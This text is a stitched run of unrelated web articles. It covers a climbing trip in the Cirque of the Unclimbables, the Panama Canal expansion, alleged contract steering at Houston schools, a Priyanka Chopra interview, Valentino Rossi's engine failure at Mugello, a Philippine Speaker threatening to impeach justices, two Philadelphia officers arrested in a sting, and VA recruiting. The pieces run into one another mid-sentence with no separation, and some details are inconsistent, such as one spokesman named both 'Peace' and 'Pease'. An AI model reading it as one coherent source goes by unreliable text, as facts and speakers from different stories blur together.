“It feels like letting other people down,” she told me when we chatted after her friends had ventured out again, “but it can’t be about that. It has to be about how I’m feeling.” Although, she admitted, it didn’t hurt that there were some advantages, some efficiency to be gained, in a two-woman team returning instead of a trio. It might have been harder to respect her own feelings if backing out had meant making it impossible for Hannah and Mareya to try again, rather than, in some small ways, helping them.
“I feel like a lot of times when I’ve gone on climbs that were maybe a little over my head, it’s just somehow worked out,” she said later. “Either circumstance, who I’m with, my own gumption, maybe luck with weather. It’s always just somehow worked.” This time, though, things hadn’t come together for her. “I was like, this objective is far too challenging for me. After having gone up there and seen it, how tall it is and the challenges of the climbing and the trickiness of the conditions up there, I was just humbled.”
Was it awkward, telling her friends she was bowing out? Was it hard? I imagined feeling guilty, or feeling obliged to carry on — feeling all sorts of feelings, really. But Lauren shrugged at the question. “These are some of my best friends,” she said. “We’ve been through a lot together, we’re very open with each other.”
In her spare time, Lauren had been working on the back side of Girl Cave on a bouldering problem — bouldering means climbing without ropes, sometimes with a crash pad below you and generally on a much smaller objective, like a large boulder (hence the name). In climber-speak, you climb a route, while a bouldering objective is called a problem, approached more like a puzzle to be solved rather than a linear track to follow. In either case, completion of the task is known as “sending” it.
She had turned her back on Lotus Flower Tower, for this trip at least. But if she could send her boulder problem before they left the Cirque, she told me, she’d be happy.
Hannah and Mareya got up in the blackness of the very early morning, again, and shouldered their packs for the trek back to Lotus Flower Tower: two ropes, a full rack of gear, warm layers, harnesses, helmets and climbing shoes, a satellite phone, plenty of food and 7 liters of water, to last them at least 24 hours. Cole’s ashes rode in Mareya’s pack, in their plastic bag inside its protective plastic shell. By dawn, they were climbing, and this time the work felt better, more efficient. They had the measure of those early stretches now, and it helped that the rock was no longer soaked with running water. Soon enough they were clear of the first four pitches where they’d spent those hellish hours on their first attempt.
After nine pitches, they knew they were on schedule to make it to the bivy ledge, one pitch up, well before darkness came down. It’s the only place on the route where climbers have enough room to sleep, on a rock outcrop maybe the size of a minivan, and the approximate halfway point of the climb. Their plan was to wait out the scant hours of darkness there and then tackle the final eight pitches at first light. Their objective — to stand on top of Lotus Flower Tower — was within reach.
But then they ran into trouble on the 10th pitch. They could see two possible ways to approach it, and they weren’t sure which one was the correct path. One of them looked like a continuation of the route they had followed through the ninth pitch — it was the logical, conservative choice — but as Hannah led the way up, she realized they’d made the wrong call. The rock was loose, unreliable, coming apart in her hands and sometimes falling down toward Mareya below, and soon she realized she had climbed up into a very risky situation. She couldn’t find anywhere to place her next piece of gear, and she didn’t know, given the sketchiness of the rock, whether she could trust the pieces she’d already placed below her to hold her weight if she fell. In a worst-case scenario, they could come loose and drop with her, the climber and her whole protective apparatus in freefall.
Photo: Gary Bremner/ www.gbpcreative.ca Above: Lotus Flower Tower, the Cirque's classic climb
As the rock crumbled under her fingers, she thought about Cole, his ashes riding in Mareya’s pack down below. Here she was, on a trip paid for by a fund set up in the name of a young climber who’d died, and with the recent loss of another young friend to remind her harshly, in case she ever forgot, of the price her sport sometimes exacted. “This is not worth it,” she thought. “This little bit of climbing is not worth dying for.”
Finally she was able to escape the trap, climbing higher into the mess until she found a safe enough spot to place a piece and, in a last resort, rappelling off it, back down to Mareya, abandoning the gear to the mountain.
Belaying from below, Mareya could see that Hannah was in a bad spot. It terrified her to watch, seeing Hannah grab onto the rock only to have it come away in her hands. But her friend looked calm and confident as she extricated herself, and Mareya only realized how tense and frightened Hannah had been once she made it back down: As soon as she had clipped herself into safety, she burst into tears.
Mareya offered to lead as they re-oriented themselves and set out to complete the 10th pitch once more. But Hannah wanted to keep going, and as she climbed, her recent fear washed away. She actually had fun, she realized, during that last stretch. By 8 p.m., they had reached the ledge.
When they got there, they saw rainclouds coming in toward Lotus Flower Tower hard and fast. They were tired, and they realized that even if they spent a cold, restless night on the ledge, the rock above them might still be soaked and impossible to climb safely come morning.
Courage. Humility. Again, as it had been on their first attempt, the right choice was obvious: They decided to call halfway good enough and begin their descent during the last of the daylight, before the rain arrived. First, though, they had something to do.
Mareya retrieved the container from where it had ridden in her pack throughout the long climb up. She and Hannah looked out over the Cirque from their 1,000-foot perch, at the soft grassy meadow far below and the clouds chasing each other across the granite tops of the mountains all around. They opened the container, reached into the plastic bag, and scattered the ashes in front of them the way a flower girl might spread the petals coming down the aisle. They cried as the wind took Cole’s ashes and carried them away.
They were nearly finished when a gust of wind pulled a u-turn, doubled back, and flung a sprinkling of ashes into Mareya’s face as she stood on the ledge. And in the shock of the moment, their grief and ceremony interrupted, they both started to laugh, shoulders shaking even as their tears kept coming — because they had to, because Cole would have, because he, always a joker, always ready with a sarcastic quip, would’ve never let Mareya live it down if he’d been there to see it. Because laughter, even more than climbing, might have been the best way to remember him, and now he had somehow given them that.
They rappelled down the mountain in the pouring rain, pitch by pitch, and then staggered back to camp, wrung out with exhaustion, going slow, taking twice as long to complete the hike home as they had on the outbound leg. The rain stopped, the skies cleared, and as they neared Girl Cave the Northern Lights swirled high above them, white streaks feathered in purple and green. They crawled into their tent in the early morning, 28 hours after they’d set out.
The next morning we found a note from Lauren waiting for us, pinned under a rock in Kitchen Cave, letting us know that Hannah and Mareya had come back safe. That was a relief: The night before, we’d sat up chatting over tea in our little cavern, watching rain squalls come and go. A thick fog had rolled in to cover Lotus Flower Tower, and this time we’d known that the girls had made it as far as the bivy ledge — we’d spotted them through the binos before the clouds arrived. I’d been picturing them up there overnight, huddled together in a silver emergency survival blanket and layers of Gore-Tex and down, waiting for first light to keep climbing. I was glad to hear that they were just down the meadow instead, safe in their sleeping bags.
It was our last full day in the Cirque. We would retrace our steps down the trail to Glacier Lake to meet our plane the next day — I’d been dreading the descent, the pain and the possible consequences, all trip. The others were planning one last full-day hike, an ambitious scramble up the steep, scree-covered slope of Crescent Peak, the mountain that loomed directly over our camp. They laced up their hiking boots and packed harnesses and ropes, lunch and snacks. Soon after 10 a.m. they were gone, vanished into the ebbing and flowing morning fog, and I was left with a day all to myself.
I drank a mug of tea, and then another. I did some half-hearted yoga, sun salutations on the cold ground under a sunless sky, and sat on a rock with my notebook open. I paced from boulder to boulder, shifted the angle of Gary’s solar battery charger in hopes of helping it soak up any rays leaking through the cloud cover. I watched for signs of life from the girls’ blue-and-gray striped tent down the meadow. I boiled yet more water for tea, an herbal blend of peppermint, fennel and ginger called, aspirationally, “Feeling Soothed.”
I was not feeling soothed.
I was in love with the Cirque. I loved the way wisps of fog raced across the face of East Huey, the mountain that watched us from across the meadow. I loved passing a flask around in Kitchen Cave, and the way a lithe, barely-seen ermine lurked in the shadows waiting for us to abandon a scrap of food. I loved how the light, when the sun came out, glinted off the bolts that marked the sport-climbing routes past generations of climbers had drilled into the mansion-sized boulders on the far side of the meadow.
I paced from Kitchen Cave to the stream to the boulder I’d been sitting on and back again. I wondered if I should be braver, less cautious — if I was wasting my chance to experience this place because I was afraid of a little temporary pain, of an unlikely worst-case scenario. I felt ridiculous, sitting still on a rock in this perfect playground. In the years I’d spent longing to visit this place, I had never imagined myself as such an inert visitor.
By my third cup of Feeling Soothed, though, my frustration had begun to leak away. I settled in with my notebook and binos, turning my back on East Huey and Lotus Flower Tower, and on Girl Cave below me, where Lauren had emerged from the tent to curl up on a rock with a notebook of her own. I watched the fog thicken quickly and cover the slopes of Crescent above me before dissipating just as fast. When it was gone, I scanned the mountain for my friends, catching glimpses of them as they worked their way higher. I listened to the sounds of the passing stream bouncing off the cave wall, and the occasional rockfall crashing down from Mount Harrison-Smith, and the marmots whistling in relay along the length of the meadow. Every so often, my friends’ voices drifted down to me in wind-torn bits and pieces — Gary’s loud laugh, mostly.
I thought about the three young women in the meadow below me, Lauren on her rock and the other two still sound asleep. I thought not just about the strength required to even attempt a climb like Lotus Flower Tower, but also about the strength it takes to turn away. I admired the three climbers for a lot of things I’d seen in the few days I’d known them: for their self-possession, and their thoughtfulness; for their comfort with each other, with climbing and its risks, and with the wilderness.
But I was most impressed, I realized, with their ability to make the right call, to walk off and to live with those choices. When I asked Lauren about her decision not to try again the second time, she told me simply, “I came to a peaceful conclusion that I didn’t need to.”
Courage. Humility. I was not going to stride up and down the length and breadth of the Cirque of the Unclimbables on this trip; I wasn’t going to try to summit Crescent Peak with the others. That was out of reach. My bouldering problem was more modest, but no less important.
In the meantime, I could sit here with my notebook and pen, in the alternating sun and fog, listening and watching, soaking up all the secrets that the Cirque was willing to share.
On our last morning in the Cirque, a helicopter came to fetch the photographers from Old Man Cave. We disassembled our tents, loaded our packs — mine was filled with everyone’s lightest items, nothing but ThermaRests and sleeping bags, and I had a baggie filled with extra-strength ibuprofen in my pocket — and soon followed them downhill.
As I hiked, awkwardly forcing myself to put my good foot forward each time I stepped down, I remembered something Hannah had said to me the night before. She had expected the Cirque to drive her to her physical limits, she told me, that she would be forced to push through the pain, and that would be the breakthrough, the lesson of the trip.
But that hadn’t happened, that hadn’t been the point at all. “I think we all learned more from this than we expected,” she said.
After we left, Lauren sent her boulder problem, and soon after that, the girls packed up and left too. The Cirque of the Unclimbables was empty of humans once again. The marmots carried on whistling to each other up and down the length of Fairy Meadows, and the stream kept tumbling by. Rocks sheared off Mount Harrison-Smith and crashed down its slopes, echoing through the valley, and as August wound into September, during each lengthening night, the Aurora Borealis dimmed the stars’ light. The clouds rolled in suddenly to cover the mountains — East Huey, Proboscis, Lotus Flower Tower and all the rest. And then, just as quickly, they melted away again.AAL's Kobe ship squeezes through the current Panama Canal locks. - David Brancaccio/Marketplace
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On Sunday, the new Panama Canal — one of the most important arteries for commerce in the world — opens for business. This new, wider channel will allow bigger ships loaded with more stuff to squeeze through, which means the Panamanians can charge bigger tolls. But what about the rest of the world?
The thing that no one is talking about is: By many measures, this canal is opening as world trade growth is petering out.
"The most significant part is not the amount of the vessels, but the size of the vessels," said Ilya de Marotta, executive vice president for engineering at the Panama Canal Authority.
It’s a game of inches for the ships that squeeze through both the old and new canal. The new locks are more than 50 feet wider than the old. The new lane saves water, created 40,000 construction jobs, and is really a shrine to globalization.
"Gates were fabricated in Italy, valves were fabricated in Korea, the design was done all over the world from Chicago, Denver, Argentina, Mexico, Netherlands," de Marotta said.
Tugboat captain Mario Hansel and his labor union are nervous about training for the new canal; the simulators they use are kinda dinky. In the old canal, locomotives on rails pull freighters and tankers through like a slingshot, with the help of tugs.
With the new lane, the massive cargo ships will thread the needle under their own power — again with tugs — just in case. The Canal Authority said it has a training plan and it's not going to rush the biggest possible ships through right away.
"For us it’s going to be a game changer. We do believe it’s going to change some of the world routes for commerce," said Ivan Zarak, Panama’s vice minister of economy.
For his country, the canal is a cash cow. Some ships already pay more than $300,000 per trip to pass through. This generates about $1.5 billion a year for Panama, even after interest on the debt needed to build it is paid.
Captain Mario Hansel maneuvers the Cerro Grande tugboat through the current Panama Canal. - David Brancaccio/Marketplace
Roberto Eisenmann, journalist and founder of the Panamanian daily La Prensa, said a Spanish investor he knows — who was searching the world for new places for his money — put Panama on his short list.
"And I said why? And he says the Panama Canal," Eisenmann said. "Panama is now building what is actually the most important public works project, certainly in the Americas, and also in the world. The relationship with the U.S., the U.S. dollar, and all the advantages that we have just shows me that this was a place where I want to put some of my money."
Here's Panama’s play: Get some of these extra-big cargo ships back from their rival, the Suez Canal, now that they can fit. And maybe a lot more of those containers that travel from China and the rest of Asia to the U.S. East Coast will use the canal instead of routing through Los Angeles, Seattle or Western Canada (as long as the competing American railroads don't lower their prices to keep business from the canal). Also, the price of oil needs to be a just little higher than it is now to persuade shippers to save fuel on the Panama shortcut.
Janet Nguyen/Marketplace
Plus, something magical from Panama’s perspective has happened since the canal expansion was planned: U.S. fracking. Asia loves American liquefied natural gas, but the ships that carry it from the U.S. Gulf were too big for the old canal.
"The U.S. has become such a large producer of liquefied natural gas — and it’ll fit the new locks," Zarak said.
A ship carries wind turbine blades just outside the entrance of the Panama Canal. - David Brancaccio/Marketplace
So if natural gas is one opportunity, what’s the challenge? Well, trade in general, which never recovered from the great financial crisis. It was supposed to, but we’re still waiting. There are multiple sources of data on this. Some experts even talk of “peak trade.”
"That’s the flip side of the coin," Zarak said. "We’re looking closely at world commerce developments and trying to project in the best way possible what’s going to be the net effect of that."
What if slower trade is here to stay and the opening of new canal coincides with the end of globalization as we knew it? We’ll look at this from different angles as the week goes on. Find all of our upcoming coverage here.
“I think the best compliment I can give is not to say how much your programs have taught me (a ton), but how much Marketplace has motivated me to go out and teach myself.” – Michael in Arlington, VA As a nonprofit news organization, what matters to us is the same thing that matters to you: being a source for trustworthy, independent news that makes people smarter about business and the economy. So if Marketplace has helped you understand the economy better, make more informed financial decisions or just encouraged you to think differently, we’re asking you to give a little something back. Become a Marketplace Investor today – in whatever amount is right for you – and keep public service journalism strong. We’re grateful for your support. BEFORE YOU GOWednesday, Oct 05, 2011, 07:06AM CST
By Mike Cronin and Jennifer Peebles
Workers finish up construction at the new Grady Middle School last month.
A construction firm that employs a former Houston schools trustee tried to overcharge the school district $2.5 million on rebuilding a West Houston middle school last year, according to school system documents and another district trustee.
Contractor Morganti Texas tried to tack on $2.5 million to the cost of building the new Grady Middle School last year -- a markup 28% higher than what the school district budgeted for the project, and what two independent estimating firms said the school could be built for. The controversy delayed the start of construction at Grady for three months which, in turn, contributed to the school not opening on time as planned this fall.
Morganti employs former Houston schools Trustee and former Houston City Councilman Gabriel Vasquez as a regional director. District e-mails show Vasquez was involved in the contract negotiations with his former colleagues at HISD and their consultants.
Houston Independent School District Trustee Harvin Moore calls the debacle "fraud," "incompetence," "corruption," and "contract steering," not just in regard to Grady and Morganti but HISD's contracting processes in general.
Workers at Grady Middle last month.
HISD documents show Morganti received poor scores in multiple categories on the district’s internal contractor-selection rankings. Moore says HISD employees who recommended Morganti to the school board relied on a "screwy" weighting formula that ranked Morganti No. 1.
“This district cannot survive the valid public belief that trustees encourage work with corrupt contractors, or that they shout down other trustees who try to stop it,” Moore, whose district includes Grady Middle, wrote in a recent e-mail to Superintendent Terry Grier.
HISD officials wound up giving Morganti the boot before work at Grady had even begun. The school district ended its contract negotiations with Morganti, then hired a rival firm to build the school at a price closer to the original estimate.
While the ending turned out sort of happy for HISD -- taxpayers didn't pay the extra $2.5 million, and the new school is under construction -- the situation raises additional new questions about influence, cronyism and potential contract irregularities in the nation's seventh-largest school district.
HISD has been under fire in recent months for trustees' ties to contractors. The school district has commissioned two external reviews of its procurement procedures and is considering strengthening its school board financial ethics policy.
Moore wants Morganti fired from the two other HISD construction projects it currently heads, renovations and additions at Southmayd Elementary and Sam Houston Math, Science and Technology Center.
"Does Morganti know that they'll never work with us again after screwing us like this?" Moore wrote in an e-mail to HISD officials at one point during the negotiations between HISD and Morganti in September 2010.
Issa Dadoush, HISD's head of construction, repeatedly emphasized in an interview with Texas Watchdog that the district continues to have an excellent relationship with Morganti, which was tapped for all three school construction projects last year.
“The contractor was never declared at default with the district,” Dadoush said. “The contractor is not on the list to never do business again with HISD. What happened is normal. We couldn’t agree, and we parted ways. What we did was obviously the right decision.”
Morganti officials told Texas Watchdog that the company is highly ethical, echoed Dadoush that it's normal in the construction business for some contract negotiations to go sour, and that it has tapped Vasquez and people like him to get to know the Houston community better.
Nearly a third of Morganti’s total costs on the project would have gone to one subcontractor, a construction firm run by friends of Houston schools Trustee Manuel Rodriguez Jr., district records show. and Morganti works with another friend of Rodriguez, Art Lopez, who manages Houston’s Glenbrook Golf Course.
Peace confirmed that Vasquez’s Houston connections have enabled Morganti Texas to meet area residents such as Lopez and another subcontractor with ties to Vasquez, businessman Luis G. Carrenza.
“Gabe introduced us to them so we could network,” Peace said. He said that Vasquez’s name is known in Houston, and the former councilman has a solid image in the city.
But Peace emphasized that any work Morganti Texas obtains occurs because the company competes for it.
“There are no free lunches,” Peace said. “If we don’t bid for the work, no one’s going to hand us a contract. It doesn’t happen that way. If Gabe, Luis and Art are helping connect us with work opportunities, great. But none of those connections guarantee us a contract.”
TIES TO HISD
The subcontractor who stood to profit the most from the Grady job was Trojan Global Construction.
State records show the three principals of Trojan Global are Charley, Viet and Simon Nguyen, all of whom are listed as "friends and supporters" on Rodriguez's most recent campaign newsletter, along with several local political leaders.
Trojan Global was incorporated in February 2010, state records show, or about three months prior to the Houston school board initially voting to begin contract negotiations with Morganti on the Grady project. Trojan Global’s website touts about two dozen construction projects as experience, including strip malls and office buildings.
The company has offices on the second floor of a gleaming mirrored-exterior office building on Richmond Avenue, just west of the Beltway. And state records show that its address has been shared with Vina Builders and Greentree Construction, along with The Patio Gourmet Sliders Inc. All three firms are connected to the Nguyens.
A message left on the company’s general voicemail and an e-mail sent to the company’s general e-mail address were not returned.
Rodriguez said he didn't know the Nguyens until last year.
He said during campaign season, he’d accept donations from anyone who believes he’s the best candidate.
“But that doesn’t mean I’m going to vote one way or another in the future,” Rodriguez said. “My primary focus is on the kids.”
Campaign financial disclosure forms available on HISD's website do not show Rodriguez receiving any campaign contributions from anyone named Nguyen or Trojan Global between Jan. 16, 2008, and July 15 of this year. Disclosure forms showing contributions made to HISD school board candidates after July 15 haven't yet come due.
Trojan Global's office door
Rodriguez said he had no conversations with or influence in the hiring of Morganti or its subcontractors. He called Morganti "a friend of" the school district.
He was among the five HISD trustees who voted to begin contract negotiations with Morganti on the three schools in May 2010, records show. The four other trustees were absent at the time of the vote.
Lopez, a political figure and another Rodriguez friend and supporter, also works for Morganti "on the sales side," Pease said. Lopez did not return a phone message seeking comment left for him at Glenbrook Golf Course, which is owned by the city of Houston and which he manages under contract.
As a District H city councilman in 2001, Vasquez was named the city's "best politician" by the Houston Press, which called him "the power player of Houston Hispanic politics," one who had aspirations to become Houston's first Hispanic mayor.
HISD records also show that, had it built Grady Middle, Morganti would have employed as a subcontractor a firm called Primis Management, headed by Carrenza.
In 2002, when Vasquez was a city councilman, he was accused of trying to get Carrenza a construction contract at Hobby Airport, according to a Houston Press story from that time. Lopez had also stood to gain part of a concession contract around the same time, but Vasquez “switched his vote at the last minute,” the Press reported.
“I have to bid on jobs like everyone else,” Carrenza said yesterday. “And I’m not getting any jobs, either. This economy’s brutal.”
Moore criticized what he called “peddling of influence” by Vasquez.
Vasquez rejected any suggestion of "influence peddling" by him.
"Absolutely not," he told Texas Watchdog. "It's been over a decade since I was a board member."
Vasquez flew to North Carolina last spring to meet with the man HISD had just hired as its chief operating officer, Leo Bobadilla. Moore said Bobadilla told him he thought the meeting was odd. Bobadilla did not return a phone message seeking comment yesterday.
Asked about the North Carolina trip in a phone interview yesterday, Vasquez told Texas Watchdog that it was intended as a "meet and greet," and initially declined to say more about why he'd fly halfway across the country to introduce himself to a stranger. After being asked several times, Vasquez finally said it was because the firm hoped to do business with HISD.
Peace said that his Morganti colleagues knew Bobadilla from working with him on projects in North Carolina and Florida.
“Leo told us he was coming to work at HISD,” Peace said. “We thought it’d be a good idea for Gabe to go meet him.”
'CRACKED' CRYSTAL BALL
When a 20-ton excavator punched a hole in the side of the aging Grady Middle building in July 2010, Moore -- and parents in his district -- were ecstatic.
The building was 60 years old. It had been built to hold 250 elementary school students and instead now held 500 middle-school students, many of whom studied in portable classrooms.
With the school district |
— like all human activities, it is all about waves!
Recruiting has nothing to do with keyword-searching algorithms. How sad it is to see how my HR profession has devolved!
We can bring the human element back into recruiting and make it the human, organic process it always should have been. Smart companies are doing this already. They’ve gotten rid of their lumbering, wheezing Applicant Tracking Systems and their pointless personality tests and insulting, scripted interview questions.
They are throwing out their broken recruiting systems and learning to hire people, not bundles of skills and certifications. Their shareholders and customers will be glad they made the shift!
When I hire people, here are ten things I couldn’t care less about:
Page 1 / 11 ContinueArtists trying to break into the American market would do well to study how Priyanka Chopra made it happen. The Bollywood icon’s U.S. TV drama, Quantico, debuted last week on ABC to strong reviews across the board, becoming the network’s top-rated show.
“Because it’s good TV,” Chopra told me when I asked her why she decided to go with the politically-charged theme of terrorism for her first American show. “And it’s relevant — everything we are doing and the stereotypes we are breaking on the show when it comes to terrorism and the political distrust that people have of law enforcement, and the things that are really happening. These are stories being told by a diverse group of people — their diverse points of view on life. I think it’s extremely relevant and extremely entertaining television. And that’s how stories should be told, you know? I think important issues need to be addressed in an entertaining way for pop culture, for them to be relevant and for them to hit home with people. And this show does that.”
For South Asian women, Chopra’s image on major billboards across the U.S., and her appearances on every major American network promoting Quantico are a groundbreaking source of pride. She is the Indian equivalent of Julia Roberts and Jennifer Lopez combined. As for me, seeing Chopra on Good Morning America, dancing with the Times Square crowd as the sun came up in New York City, made me cheer out loud, “Go Priyanka!” After more than a decade living in America, for the first time I feel a tangible connection to the country’s pop culture. The visibility of another brown girl in mainstream America legitimizes the identities of many South Asians. Finally, there is someone who looks like us aside from Mindy Kaling and Freida Pinto. Chopra has broken free of the South Asian typecasting that so often has brown actors playing doctors or cab drivers, and she proves that the identity of the American woman is evolving.
As a South Asian, it is strangely exciting to be rooting for my mega-star from back home as she launches a new career far from India: I feel possessive and protective of Chopra as her new American audience discovers her. When I asked her about the climate for actors of color in Hollywood, Chopra said it’s time for people to look beyond race.
“I do not even like being called an ‘actor of color,’” Chopra said. “I believe in a color-blind world. I really think people should be seen for their ability to do their job. This show has taken on people only because of the fact that they are good at their job. That is how the casting was. Alex [Parrish, an FBI recruit] was not written for an Indian girl. And I think that the network and the producers of the show gave me the opportunity to conform as an Indian actress to play an ethnically ambiguous part is really great. It is great for ABC to be able to broaden their horizons like that.”
Unfortunately, American fans were not always quick to embrace India’s sweetheart. Two years ago, when Chopra became the voice for NFL’s Thursday Night football, some viewers called her an Arab terrorist and she received hate mail from fans, attacking her as a representative of such an American brand.
Chopra told The Wall Street Journal in an interview last year that the experience offended her on multiple fronts, but that at the end of the day she wants to be taken seriously as an actor, and not for the color of her skin.
“The world is different now,” Chopra said to me. “Look around you. You can’t point at a girl and just say she looks a certain way, especially in America. We are a melting pot of different cultures and it is high time TV reflects that. It is a reflection of society and vice-versa.”
Behind the scenes Behind the scenes Behind the scenes FullSizeRender[3]
As pop culture images of women evolve, Chopra also must adjust, not least to the cultural differences between Hollywood and Bollywood. When I asked her how viewers in India would respond to watching a national superstar have sex in a car with one of her on-screen colleagues, as Chopra does in an opening scene for Quantico, she explained that the scene was relevant to her character.
“It is an awkward situation when you have to do scenes like that,” Chopra admits. “I won’t lie. But people in the world are very different and it was important to portray Alex as someone who doesn’t really care about love in her life because she has a single-minded focus on her job. So I think it was important for the story. And when it comes to Indian films, we are very progressive in the way we shoot Indian movies and what we show in Indian movies now. The good thing for me is that I am working with ABC-Disney so there is only that much you can do, so we don’t go out of the comfort zone that I am used to in Indian films. It is generally an awkward situation, but it is what it is. That’s how Alex is. I mean, she’s very different from how I would think or you would think or many other people would think. She is unapologetic. She is very flawed. And that’s the kind of girl she is — bold and unapologetic.”
Dealing with uncomfortable sex scenes was not Chopra’s biggest concern while shooting Quantico. Speaking English everyday on set was the most difficult task at hand, especially because she had to learn how to master the American accent. When I asked her what she had to do to transform into an “independent, American woman,” Chopra sighed heavily before replying, “So much.”
“I had a very, very amazing dialect coach to be on set all the time,” she continued. “It took a couple of months practicing how to roll my Rs, because I am not very good at that. It took me days to be able to say ‘counter-terrorism’ in an American accent. It was very difficult for me. But I have an amazing team that helped me … I have played many different kinds of characters before, so I was accustomed to the process. And I am accustomed to the American accent given the fact that I lived here before. You can teach your mouth to speak this way. But yes, it was very hard. They always say my lines right before I have to say it so I can listen. My cast mates are very sweet about it.”
Acting in English full time is not something that Chopra has to worry about just yet. In a move that confirms her cross-continental, global star status, Chopra has major Bollywood movies slated for release.
“I have two Indian movies coming up, one in December, which is Bajirao Mastani and one in March, which is Jai Ganga Gaal, Chopra said. “It’s extremely exciting for me to be able to balance both worlds. Very exhausting, but it’s extremely exciting. And the Indian film industry has been so supportive of what I am doing. It is very exciting.”
Chopra is not abandoning Bollywood for Hollywood, but instead balancing both identities. Whatever America holds for her, Quantico has already changed the game for South Asian women in the audience. Now, when we’re told it cannot be done, we can respond with two words: Priyanka Chopra.A cloud of smoke snuffed out hopes and dreams, covering the yellow that coloured Mugello. Not even nine laps and then Valentino Rossi had to abandon his M1 trackside, engine blown, as silent as the fans that had been cheering their hero on just a few seconds earlier.
“At Mugello every emotion is amplified and this is an all-around disappointment” the Doctor broods.
Two engines blown in the space of a few hours is a warning bell…
“I was very unlucky. The problem is the same as the one Lorenzo had. The difference is that it happened to him in warm-up and to me in the race.”
What was the problem?
“We’re thinking something to do with this batch of engines, maybe connected to the materials or the assembly. Our engineers are checking. It definitely wasn’t caused by overheating.”
The engines are subject to quota. Are you worried?
“Not too much, because we’ve only punched 3 engines so far, so the problem can be resolved. Faults like this do not happen often to Yamaha. The last time I didn’t finish a race due to a technical fault was in 2007 at Misano.”
The wild line remains…
“And it is very serious because 37 points is a big gap. At Austin I had made a mistake, but Lorenzo and Marquez had made a mistake at the beginning of the season. Today, on the other hand, something else happened. As the English say: shit happens (he laughs)”.
It could have gone differently…
“It has been a long time since I’ve won at Mugello. Today, on the other hand, I had a good pace and I could have battled to make it happen. The atmosphere was fantastic. Seeing the entire track painted yellow during the warm-up lap was an emotional experience.”
In the first laps it seemed like you were unable to overtake Lorenzo…
“To be honest, I only tried to attack him once at the San Donato, but I went long. The second time wasn’t an attempt to overtake, but rather a problem with the clutch, maybe a warning sign of the problem with the engine. I lost contact, but I was able to catch back up with Jorge in a few turns. I was probably faster than him by a few tenths.”
Better to look at the positive aspects?
“It’s the only thing to do. This year I’m faster than I was last year, even in practice. I struggle less than Lorenzo and that lets me attack, instead of racing to limit damage. That’s a big difference.”
Can you recover in the standings?
“We are only one third of the way into the championship. It is still long but it doesn’t make sense to think about it now, just like it doesn’t make sense to say who the most dangerous rival is. We just need to try again straight away, already at Barcelona in two weeks.”Speaker Pantaleon Alvarez on Wednesday threatened to impeach Supreme Court justices who would insist on blocking the construction of a common station linking the Metro Rail Transit (MRT) and Light Rail Transit (LRT) systems.
“That’s government money funding a government project. Why would they issue a TRO (temporary restraining order)?” he said, addressing stakeholders at a hearing of the House transportation committee.
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“Go through with it. If they issue a TRO, then we will impeach them. I am not joking,” Alvarez said.
Speaking to reporters later, the House leader said he was only explaining to the Department of Transportation (DOTr) that there should be no more impediment to the construction of the common station.
“There’s budget already, why aren’t they starting? Why aren’t they bidding it out? It’s government that will spend, it’s a project of the government, what have they got to fear?” he said.
“If they issue another TRO, that’s not right. That’s tantamount to abuse of power. So Congress will not hesitate to do its job,” said Alvarez, who formerly headed the transportation department under the presidency of Gloria Macapagal-Arroyo.
Last month, the Speaker made a similar call asking the DOTr and private players to begin construction of the common station “with or without a TRO.”
He said too many hearings had been devoted to the controversial proposal to build the station, which had undergone several iterations due to the rival interests of two mall developers, before an agreement was finally signed on Jan. 18.
The Supreme Court earlier issued TROs blocking the change in the station’s location due to a disagreement stemming from a 2014 decision of the transportation department, then headed by Joseph Abaya, to move it from the SM City North Edsa Annex to an area near Trinoma mall.
The station was originally meant to be located near SM’s property, based on an agreement SM Prime had with the Light Rail Transit Authority in 2009, during the Arroyo administration. When this was not followed, SM Prime sued the department in 2014 for breach of contract.
Also affected by the issue were Light Rail Manila Corp., a venture between Ayala Corp. and Manuel V. Pangilinan’s group that operates LRT-1, as well as San Miguel Corp., which is building the MRT-7.
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But the companies finally came to an agreement with the DOTr on Jan. 18 to build the facility at the intersection of Edsa and North Avenue.
Under the deal, which will cost the government P2.8 billion, the station will link LRT’s Line 1 and MRT’s Line 3 and the latter’s proposed Line 7.
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MOST READTwo Philadelphia police officers were arrested Monday evening and charged with robbing an undercover investigator posing as a pot dealer, authorities admitted Tuesday.
The Philadelphia Inquirer. Officers Sean Alivera, 31, and Christopher Luciano, 23, allegedly stole 20 pounds of marijuana and $3,000 in cash, reports Troy Graham at
Both officers, who were partners in the 25th District, were arrested at the district headquarters in what must have been a priceless scene. They were still in custody Tuesday morning, after being charged with robbery, kidnapping, conspiracy, and other distinctly cop-like crimes.
Rumors had been going around about Alivera and Luciano were shaking down drug dealers. The story made its way from the Pennsylvania Bureau of Narcotics Investigations to the Philadelphia Police Department about two weeks ago.
Investigators from the police and the district attorney’s office set up a sting operation that resulted with Monday’s robbery of an undercover Philadelphia police officer, according to police.
The robbery was captured on video surveillance, according to District Attorney Seth Williams. The officers planned to keep the money and sell the marijuana, according to authorities.
“Police corruption will not be tolerated,” Williams said. “We will root out bad cops, and we will prosecute them for the disgraceful thugs and scum that they are.”
“This is another embarassment for our department, another in a long list, unfortunately,” Williams said Tuesday morning at a news conference announcing the arrests.
The arrests come just months after three other crooked officers were caught in a federal sting and charged with stealing herion from a drug dealer. One of those officers also was from the 25th District, which covers drug-infested areas of North Philadephia and Kensington.
Philadelphia Police Commissioner Charles Ramsey said both officers soon would have their crooked cop asses fired — OK, he didn’t put it exactly that way, but that’s still basically what he said — and that no cop would ever wear their badge numbers again.
That rocks pretty hard, but it would be even cooler if they could, like, strip the cops’ badges off them, like in the beginning of Chuck Connors’ Branded? Just a thought…
Neither Alivera, a 10-year veteran, nor Luciano, a three-year cop, had “significant” histories with Internal Affairs. He claimed the two officers were not “on our radar” until the tip was passed from the state attorney general’s office.The head of Veterans Affairs on Monday acknowledged that he’s worried about the department’s ability to recruit and retain a talented workforce as it recovers from a major scandal and reinvents itself to better serve the country’s vets.
VA Secretary Bob McDonald said the department needs “tens of thousands” of new doctors, nurses and clinicians, and that he plans to sell VA’s “inspiring story” to medical schools and others across the country with the help of the media and members of Congress. He said he’s asked Florida Republican Jeff Miller and Vermont Independent Bernie Sanders, the respective chairmen of the House and Senate Veterans’ Affairs committees, to accompany him on recruiting trips.
“We have the [congressional] authorization for positions, the issue now is we have to find the people,” McDonald said. The secretary, confirmed by the Senate just over a month ago, outlined his 90-day plan for rebuilding trust with vets, improving services and creating a long-term reform strategy for the department, during a Washington press conference with reporters.
